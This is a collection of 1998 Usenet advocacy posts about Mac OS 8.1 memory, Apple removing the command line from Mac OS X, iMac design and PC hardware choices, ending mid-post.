Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 16:25:21 -0700
Message-ID: <see-below-2906981625210001@dynamic45.pm01.mv.best.com>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <see-below-2906980054170001@dynamic62.pm04.mv.best.com> <19980629192301363804@asd-p267.dial.xs4all.nl>
In article <19980629192301363804@asd-p267.dial.xs4all.nl>,
johnkl@xs4all.nl (John Klijnen) wrote:
> Matthew Vaughan <see-below@not-my-address.com> wrote:
>
> > In article <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > I am not a programmer so I cant say this is a leak, but it is really
> > > annoying. Here is what about this computer says (note this is with NO
> > > APPS open)
> > >
> > > macos 8.1
> > > built in memory 64 mb
> > > virtualy memory 65.8
> > > largest unused block 28.1 mb
> > > macos 13.2 mb
> > >
> > > Now where is my other 25 megs of memory? Their are no apps open so please
> > > dont tell me its fragmented memory, unless you can explain how its
> > > fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
> >
> >
> > Yeah, this happens to me frequently and it's damn annoying. Try
> > force-quitting the Finder--usually that will free everything up.
>
> Don't force quit the finder! It could leave your system in an unstable
> condition. Make a script with scriptmaker:
>
> tell application "Finder"
> quit
> end tell
I have used the utility "Quitter" to do the same thing, but have never
noticed any difference in subsequent stability between that and just
force-quitting (ie, neither ever seems to cause problems), the latter
being much faster and more convenient.
> First run a util called "Mac OS Purge". If this doesn't do the trick
I've had that for a couple of years, and it _never_ does the trick.
> quit the finder with the script from above. After that run "Mac OS
> Purge" again.
> If this doesn't bring your memory back you can always restart your
> computer. It works 9 out of 10 times for me!
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: 30 Jun 1998 02:07:55 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6n9h9r$i79$3@bertrand.ccs.carleton.ca>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <35955021.48983447@hydra> <35b12752.118772205@news.nai.net> <3597929d.262643141@hydra>
In article <3597929d.262643141@hydra>, Identity Withheld
(brother@trinity.mensa.net) wrote:
> >at&t is suing microsoft because it can't get the level of information it can
> >on a unix system.
> They already have a license to the source code. What more do they
> want?
I believe their suit claims that Microsoft is not delivering things it
should have. They may have a "license" to the code, but do they have
the code itself?
> I doubt Unix will ever go away; it is an excellent OS. It's mature,
> well-known and understood and very stable. NT is getting there.
But UNIX is ahead and is staying ahead. Why switch to something
which 10 years from now will be where UNIX was 10 years ago?
Totally irrational.
--
David F. Skoll
From: David Matthew Wood <dmwood@erols.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: os 8/8.1 memory leak?
Date: Mon, 29 Jun 1998 23:09:06 +0000
Organization: Erol's Internet Services
Message-ID: <35981E90.2976E10@erols.com>
References: <macghod-2806982253380001@sdn-ar-001casbarp098.dialsprint.net> <359ba80a.6164174@news.newsguy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: Tom Elam <telam@iquest.net>
Tom Elam wrote:
> On Sun, 28 Jun 1998 22:53:38 -0700, macghod@concentric.net (Steve Sullivan)
> wrote:
>
> >I am not a programmer so I cant say this is a leak, but it is really
> >annoying. Here is what about this computer says (note this is with NO
> >APPS open)
> >
> >macos 8.1
> >built in memory 64 mb
> >virtualy memory 65.8
> >largest unused block 28.1 mb
> >macos 13.2 mb
> >
> >Now where is my other 25 megs of memory? Their are no apps open so please
> >dont tell me its fragmented memory, unless you can explain how its
> >fragmented with NOTHING opened (except for the os which takes up 13.2 mb)
>
> Better than force quitting Finder, upgrade to Win 98 or NT where this issue is
> NEVER a problem.
>
> ---------------------------------------------
> Tom Elam
> The Family Home Page is at:
> http://members.iquest.net/~telam/homepage.html
>
> The universe is not only stranger than we imagine,
> it's stranger than we CAN imagine
>
> J.B.S. Haldane
Yeah..sure...downgrade to Win98 is more like it.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Date: Mon, 29 Jun 1998 16:15:46 -0700
Message-ID: <see-below-2906981615470001@dynamic45.pm01.mv.best.com>
References: <6n8pui$qo3$1@nnrp1.dejanews.com>
In article <6n8pui$qo3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> I have an idea for a OS imaging model that could be cool. Basically, it
> involves removing any dependencies on bitmaps from the operating system. That
> way, every graphical object will have a vector representation and will be
> arbitrarily scalable. We can stop arguing what size icons should be because an
> icon can have any size (like in IRIX). And the OS could let users pan (not
> new), rotate, and zoom into their desktop. That way, you could look at any
> object that you want, at any resolution you want, without application support.
> Also, I would completely hide the concept of a pixel from applications. They
> would specify how big, in centimeters/inches/points/twips, they want a window
> and the OS makes a window on the screen that has the requested size. From then
> on, applications can define their own units or continue to use the same ones
> that they used to specify window size. That way, when the user buys a 300dpi
> monitor, they get better image detail and not windows the size of stamps.
>
> BTW, this is more or an evolution of resolution independant graphics systems
> (like DPS/OpenGL) rather than a revolution. What do you think?
I've thought about the same thing sometimes. As you describe it (including
rotation) it probalby means going 3D, which might actually perform
acceptably with a decent 3D card (wouldn't have been realistic until the
last year or so, at least on consumer hardware, and even there you'd have
to set things up very carefully to allow decent performance). In addition
to removing the "at this resolution everything's too small, but at that
one I don't have enough screen space" problem, it could also allow you to
view objects hidden behind windows without needing to move or close them
(just change your point of view).
It's a cool idea, and I'd like to see at least some tests of this kind of
thing done (perhaps they already have been, I just haven't been paying
much attention), but I think it will be a while yet before we're using a
"3D desktop."
Of course as you say, there's a middle ground using only 2D scaling (such
as DPS) for selected resolution-independant items, such as fonts or icons.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Mon, 29 Jun 1998 18:34:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3598248E.28605285@nstar.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net>
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Maury Markowitz wrote:
> I think that wrapping system level functionality at that level is a dumb
> idea. Ever tried to flowchart a modern program at the system level? Even
> the most basic logic becomes unreadable. But that's not what flowcharts do,
> they encapsulate much higher order functionalty - storing a file to a disk is
> a single icon rather than a huge series of them - finding the path, opening
> the file, writing, closing, etc.
All of which should be based on logical design, not hacking. The fact
that most implementations fail to do this adequately does not argue
against the fact that it should be done.
> That's the problem. The languages I've looked at to date always
> encapsulate the wrong level - with the exception of AppWare that is. They
> all have the discrete elements of the system as icons, meaning that you don't
> have a "file store" icon, you have a huge collection of icons representing
> each and ever system call.
Unless it differentiates between system calls as icons and larger, more
abstract notions as icons, it does not accomplish the full task of
abstracting the entire program into a logic graph.
> In many cases it ends up being far more
> unreadable that a text version of the same thing.
I have seen theoretical systems which beat this problem. I spent a year
working on a system that was designed to aid in graphical development of
logic algorithms; the focus of the entire project was making programs
that were readable by simply scanning the diagram.
MJP
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 30 Jun 1998 07:10:34 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6na31a$mt9$1@news.tuwien.ac.at>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net>
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Cc: trev@sc.edu
In <trev-2906981959200001@nas-p1.usc.net> Trevor Zion Bauknight wrote:
> It's my understanding that large NeXTSTEP installations were extremely
> easy to administer without using a CLI. If all the functionality of Unix
> utilities is available with a GUI, what is your problem? You just have to
> use sh to get your work done? Fine...it will be available too.
The NeXT GUI administration tools were a clean design: they were wrappers
around the CLI tools (i.e. they used the CLI tools, for you non-techies).
That way you got what you wanted: either CLI administration for them hacker
types out there, or GUI all along _using the same tools_ (does the word
"consistency" mean something to you?). I've been using NeXT ever since it
came out on Intel, and I've very rarely resorted to using the CLI for
sysadmin duties on my machine (and then it was just for the heck of it; I
don't think there ever was an instance where I _had_ to use the CLI).
The key problem is that apparently there will be no "sh available" on OS X.
My 2 cents on the "no CLI" thing:
It's _absolutely_ and _unbelievably_ stupid of Apple to remove something
that's already there from MacOS X. Just because UNIX is there, it does not
mean that you've got to directly use, let alone see it! Which part of that is
incomprehesible to the Mac "community"[0]? And what's so good about having to
pay for some add-ons when you could have had it along with the basic OS? The
argument about having to develop and support it and that being expensive are
just plain manure. It's there and finished in Rhapsody, all they have to do
is keep it. Manitenance costs are negligible.
Why do these idiots for no apparent reason[1] remove a key component from a
hitherto well-balanced system, thereby eliminating virtually all their
chances outside their already pretty small marketplace?
Penguin farming, I suppose, is the only future.
Alexander Wilkie
[0] seems more like a collective lowest common denominator to me, though
[1] other than to please some Mac technophobics (see [0])
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 30 Jun 1998 09:20:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6nb37h$s9q@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net>
Trevor Zion Bauknight <trev@sc.edu> wrote:
: In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
: > It seems like Apple has to go *out of their way* to not have a CLI in
: > Mac OS X, crippling its chances of playing well in a UNIX networking
: It's my understanding that large NeXTSTEP installations were extremely
: easy to administer without using a CLI. If all the functionality of Unix
: utilities is available with a GUI, what is your problem? You just have to
: use sh to get your work done? Fine...it will be available too.
Apple originally said something about a plan to concentrate on core
markets. Removing the CLI seems to be part of a plan to build an OS for
the current user base. Concentrating on core markets is fine, but as
people ask periodically, when does Apple get to the part about increasing
market share?
John
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: AWESOME PRICE ON G3!!!
Date: Tue, 30 Jun 1998 14:43:33 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net>
<NOTE, I am not selling this, please do not be a dork and email me saying
you want to buy this :P. Posted to next advocacy since they are now apple
people and this is a great deal IMO)
http://www.smalldog.com/smalldog/deals/special_1_M.lasso
A 8500 with a g3 card for $1099
Tuesday, June 30, 1998
Apple PowerMac 8500 w/220MHz G3 card - $1099!
220MHz G3 PowerPC Processor w/110MHz 512k Backside Cache
24MB RAM
120MHz 604 PowerPC daughter card included as spare
1GB SCSI Hard drive; 4xCD ROM Drive
Keyboard and Mouse included
Used-refurbished by Small Dog with 30-day Small Dog Warranty
G3 Processor card is new with 1-year PowerLogix Warranty
Price: $1099
--
So many pedestrians, so little time.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 30 Jun 1998 17:50:48 -0500
Organization: Ericsson North America Inc.
Message-ID: <35996BC8.2869@exu.ericsson.se>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com>
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> I think this is a bad idea. Apple should be working to drop the price
> of the iMac, not bulk up the feature set. Why should the iMac compete
> with the other Macs? Why should a slotted iMac be an excuse not to
> lower the prices for the pro line? Why should Apple waste time with
> another "everything-for-all" type Mac when every try at doing that has
> been a failure.
I don't know how you get that using commodity PC hardware options to
show off the unique capabilities inherent in even a low-end Macintosh is
building "everything-for-all". I thought I was talking about finally
getting some key value out of digital hardware; I don't remember
mentioning high-end or feature-packed models.
> >Just be sure to make it all black, or silver with wood-grain trim. Sit
> >the thing on top of a stealthy stereo system and put a black Sony
> >camcorder next to it. Make home computers sexy, not
>
> A choice of colors would be pretty cool.
That wasn't the point. If the rest of the world agrees with you, and
wants Apple to ship the Rainbow of Fruit Computers, fine, do it. I'm
actually after picking a smart color and sticking with it, instead of
blue-and-white. I can't remember the last time I woke up thinking,
"Damn, I want a blue and white computer, hopefully one that looks like a
melting breadmaker."
> >kiddie-translucent-glow-in-the-dark silly. People get their buying
> >advice from geeks who love the industrial look, not from
> >kindergarteners.
>
> Ever been to Toys-R-Us? Kids make a lot of buying choices there...
Maybe Apple could actually sell the iMac there, too. It's the most
appropriate place I can think of...
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Date: 1 Jul 1998 01:29:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nc3d4$aqu$1@lwnws01.ne.highway1.com>
References: <358ff412.0@news.together.net> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com> <joe.ragosta-3006981531260001@wil32.dol.net> <6nbjmd$jj1@nntp02.primenet.com> <joe.ragosta-3006981716180001@wil40.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which destroys the "PCs have more choices" argument.
> Which destroys the "PCs can use SCSI, too" argument.
I've seen some hyperbolic advocacy before, but this is silly. Of
course PCs have more choices. There are half a dozen fine SCSI
card makers that are all widely supported, and if you have a strong
stomach there are probably dozens of fringe players. The same is
true of video cards, sound cards, and various other components.
As for PCs not using SCSI, yeash, I have an adaptec (more popular
and ok) and dpt scsi cards in my computer right now. The DPT in
particular kicks tushy. They are fine performing, and fine quality
products that work well. Statements to the contrary, IMO, are mac
advocates' exercises in wishful thinking.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Tue, 30 Jun 1998 19:59:00 -0500
Organization: Metaphysical Bunko Squad
Message-ID: <trev-3006981959000001@nas-p5.usc.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
In article <EvDxGy.GIC@basil.icce.dev.rug.null.nl>,
tom@basil.icce.dev.rug.null.nl (Tom Hageman) wrote:
> There's just a small bootstrap problem here: how does one run a compiler or
> make(1) without a sh(1)?
>
> (Oh I already know the answer: Apple will provide its own `advanced MacOSX
> look-n-feel' make replacement that implements a subset of the
functionality of
> the current make + sh + unix tools, with its own proprietary syntax of course
The alternative, of course, is simply installing sh. That shouldn't be
too difficult, even for you Unix people...
Trev
From: jason@jhste1.dyn.ml.org
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: cmsg cancel <slrn6pj6c5.1mh.jason@jhste1.dyn.ml.org>
Control: cancel <slrn6pj6c5.1mh.jason@jhste1.dyn.ml.org>
Date: 1 Jul 1998 02:28:30 GMT
Organization: MindSpring Enterprises
Message-ID: <6nc6se$tre$1@samsara0.mindspring.com>
ignore
Article canceled by slrn 0.9.4.6
From: frank@REMOVE_SPAMLOCK.wizards.de (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 30 Jun 1998 22:02:56 GMT
Organization: Frank's Area 51
Message-ID: <6nbnag$rqu$1@news.seicom.net>
References: <slrn6p7kds.jlt.sal@panix3.panix.com> <1998062617481800.NAA16569@ladder01.news.aol.com>
<6n2s63$k8j$2@supernews.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6n2s63$k8j$2@supernews.com> John C. Randolph wrote:
> Certainly not in 1984. (Unless that OO system was done in Forth. It's
> *amazing* how compact objects in Forth can be.)
For some insight into this area take a look at
http://www.netaxs.com/~jayfar/mops.html
--
* Frank M. Siegert [frank@wizards.de] - Home http://www.wizards.de
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* Note: [frank@this.net] is still a valid option to send me eMail
* "The answer is vi, what was your question...?"
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 1 Jul 1998 03:38:00 GMT
Organization: Digital Fix Development
Message-ID: <6ncauo$fm$1@news.digifix.com>
References: <6n6a2e$21s$1@news.cmc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <6nbke9$mo8$1@news.digifix.com> <6nbmfa$1mba$1@nntp6.u.washington.edu>
In-Reply-To: <6nbmfa$1mba$1@nntp6.u.washington.edu>
On 06/30/98, R. Tang wrote:
>In article <6nbke9$mo8$1@news.digifix.com>,
>Scott Anguish <sanguish@digifix.com> wrote:
>>care if
>>>it's in there or not, and I don't think Apple has based this
decision on
>>>the requests of Mac developers or users.
>>
>> You don't think most Mac developers really care if its there?
>> All evidence is to the contrary... bringing the topic up on
>>rhapsody-talk causes a wild gnashing of teeth by Mac developers who
>>don't want a CLI, even if they NEVER have to use it.
>
>
> Huh.
>
> If that's really the case, then perhaps the flaming is in the
>wrong direction.
>
> I wanna know "WHY?"
The 'standard complaint' is that it is non-Mac like, and that
it allows developers to be lazy and make only command-line programs,
or require command-line modifications.
My answer to this is, "if you don't like their software, don't
use it", but that isn't well received.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 1 Jul 1998 03:41:35 GMT
Organization: Digital Fix Development
Message-ID: <6ncb5f$jq$1@news.digifix.com>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com> <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6nbf6s$p94$1@nnrp1.dejanews.com> <6nbktv$mv0$1@news.digifix.com> <1dbgyba.1eigjtm12s2phcN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
In-Reply-To: <1dbgyba.1eigjtm12s2phcN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
On 06/30/98, Dirk Theisen wrote:
>Scott Anguish <sanguish@digifix.com> wrote:
>> If everyone has to include commonly required stuff like gzip,
>> gnutar, a shell app etc.. that is a problem, and will waste more
space
>> than including them all by default..
>
>....not to mention versioning problems...
>
... which is why I didn't mention it above (but I did to
Apple.. :-) )
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 1 Jul 1998 02:31:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6pj7r8.4ij.sal@panix3.panix.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se>
On Tue, 30 Jun 1998 17:50:48 -0500, Michael Peck <eusmpec@exu.ericsson.se> wrote:
>I don't know how you get that using commodity PC hardware options to
>show off the unique capabilities inherent in even a low-end Macintosh is
>building "everything-for-all".
Apple *has* machines with slots. They even have an All-in-one with slots.
If you want slots, then the iMac isn't a good choice. Why should Apple have
a half dozen machines with the same specs? Didn't they just try to simplify
the line up? And why should the iMac be an excuse to not lower the prices
of the other (slotted) Macs?
>> >the thing on top of a stealthy stereo system and put a black Sony
>> >camcorder next to it. Make home computers sexy, not
>> A choice of colors would be pretty cool.
>That wasn't the point. If the rest of the world agrees with you, and
>wants Apple to ship the Rainbow of Fruit Computers, fine, do it. I'm
>actually after picking a smart color and sticking with it, instead of
I think a *choice* of colors would be cool. Why would picking one color
be better than offering a choice?
>> Ever been to Toys-R-Us? Kids make a lot of buying choices there...
>Maybe Apple could actually sell the iMac there, too. It's the most
>appropriate place I can think of...
Sure. Stick it next to the PlayStations and Gameboys. Set up a demo that
shows games/internet access/edu-tainment software.
--
sal@panix.com
Salvatore Denaro
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Tue, 30 Jun 1998 21:55:55 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980630214141.1372C-100000@pathos>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Tom Hageman <tom@basil.icce.dev.rug.null.nl>
In-Reply-To: <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
Oh, come on....
There is actually very little that a command line buys you that cannot be
very easily duplicated with a minimal amount of effort using AppleScript,
Perl, Tcl, Python or any of the myriad of other scripting languages out
there.
The only requirement for running 'make' is that you can pass a single
argument to it being the target you want to make... with three arguments,
you can also specify the makefile to use. Technically, it doesn't even
need a target.
How many lines of code is that in ANY scripting language???
Exactly one.
How many lines of code is that on a command line????
Exactly one.
What is the difference?
On a CLI, you type the command and hit return... in a scripting language,
you edit something that contains the command and tell the language to
execute it! Not bloody much different, really.
The fact that cron still uses crontab files doesn't have anything to do
with a CLI.
The fact that vacation works the way it does doesn't have anything to do
with a CLI.
The fact that sendmail, make, gcc, the linker, wc, du, df, cp, mv, rm,
blech, yaddayaddayaddayadda, take arguments, consume input and output and
can be affected by environment variables HAS NOTHING TO DO WITH A COMMAND
LINE.
The CLI is merely a convenient-- thought antiquated-- way of dealing with
these programs. There are a myriad of alternatives-- some attempted, many
not-- and the Foundation Kit provides a really nice set of tools for
building these alternatives.
Geez. It's as if people feel Apple is doing away with the filesystem,
NSTask and the ability to launch external programs! Mac OS X will be a
posix compliant beast running on a Mach kernel-- posix clients includes
neat little things like fork() and execve(). In other words, it includes
the ability to execute external commands.
With fork() and execve(), it takes UNDER AN HOUR TO WRITE AN INTERACTIVE
SHELL THAT CAN EXECUTE make, gcc, yaddayaddayaddayadda.
The REAL question is:
If apple takes away the CLI-- takes away the ability to telnet to a
machine and interact with it at that level-- what will replace that
functionality or do we do without???
SECONDARY question:
What pieces of the "standard" set of what are normally considered to be--
but actually have little to do with other than the presentation of their
UI-- command line tools will be included in Mac OS X?
BEYOND THAT:
Will apple provide a development environment? In what form? How will
the Yellow dev environment be presented under Mac OS X? gcc/make/etc-- in
their current forms [BTW: PB doesn't use any kind of a CLI to execute
those-- it does so directly or through a varying set of wrappers that
execute 'em directly]-- work fine, but are not stellar. Will their be a
tighter integration? Maybe a faster compiler? Completely different
technology? Or is this a third party oppurtunity???
b.bum
On 30 Jun 1998, Tom Hageman wrote:
> mark@sapphire.oaai.com (Mark Onyschuk) wrote:
> > Eric King wrote:
> > >In article <6na31a$mt9$1@news.tuwien.ac.at>, wilkie@cg.tuwien.ac.at
> > >(Alexander Wilkie) wrote:
> > >
> > >:It's _absolutely_ and _unbelievably_ stupid of Apple to remove something
> > >:that's already there from MacOS X.
> > >
> > > Not if they think they can make some money off of it.
> > >
> >
> > Then they're deluded. I'm askin' myself, how many nanoseconds after they
> > announce a Unix "Plus Pack" do you see a free equivalent gathering of
> > common Unix utilities posted as an installer package on one of the
> > archive sites?
> >
> > We're not running Windows here... Unix is not the land of "nickel and
> > diming" you to death for utilities that you'd get for free if you were
> > running Linux or FreeBSD or whatnot.
> >
> > We've got programmers, we've got a C compiler, and we've got the Unix
> > tradition. Such a product would be deader than disco even before it were
> > released.
>
> There's just a small bootstrap problem here: how does one run a compiler or
> make(1) without a sh(1)?
>
> (Oh I already know the answer: Apple will provide its own `advanced MacOSX
> look-n-feel' make replacement that implements a subset of the functionality of
> the current make + sh + unix tools, with its own proprietary syntax of course
> to make sure that existing makefiles won't work, and make it a loadable bundle
> for ProjectBuilder. Why use tried and tested technology when you can just as
> easily roll your own? YB is supposed to be this hot environment that shortens
> the development cycle, right? Eat your own dogshit and all that...)
>
> Disgusted,
>
> --
> __/__/__/__/ Tom Hageman <tom@basil.icce.dev.rug.null.nl> [NeXTmail/Mime OK]
> __/ __/_/ IC Group <tom@dev.icgroup.null.nl> (work)
> __/__/__/ <<SPAMBLOCK: remove dev. and null. to reply>>
> __/ _/_/ Apple: the knights who say "NIH!"
>
>
From: amadden@spasm.redcat.org.uk (Alex Madden)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: RhapTel .... or perhaps something different ?
Date: Wed, 01 Jul 1998 10:24:51 GMT
Message-ID: <slrn6pk3jo.oso.amadden@spasm.redcat.org.uk>
References: <6mqn7d$5os$1@bartlet.df.lth.se>
On 24 Jun 1998 13:17:01 +0200, Christian Brunschen wrote:
>- suddenly you could perhaps run Photoshop, PageMaker, etc ... on your
>choice of PowerMacs (running MacOS X), SPARC-based workstations running
>Solaris .. perhaps run FileMaker on a big SPARC server in the basement ...
>WebObjects on a Solaris-based Intel-server from Toshiba .... And you'd
>administer it all with NetInfo, using your kid's iMac from home :)
Solaris based intel server? ugh Solaris x86 is NASTY, I don't understand
why anyone would buy it. All the limitations of the x86 platform combined
with the inflexibility of x86 Solaris, duh. I'd stick with sparc every
time, alternatively one of the *BSD's or linux.
Alex
--
"In a world without fences, who needs Gates?" - Scott McNealy
Remove .net from address to reply
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Date: Wed, 01 Jul 1998 13:31:58 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R0107981331580001@merck.com>
References: <358ff412.0@news.together.net> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com> <joe.ragosta-3006981531260001@wil32.dol.net> <6nbjmd$jj1@nntp02.primenet.com> <joe.ragosta-3006981716180001@wil40.dol.net> <6nc3d4$aqu$1@lwnws01.ne.highway1.com> <joe.ragosta-0107980822560001@wil45.dol.net>
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In article <joe.ragosta-0107980822560001@wil45.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
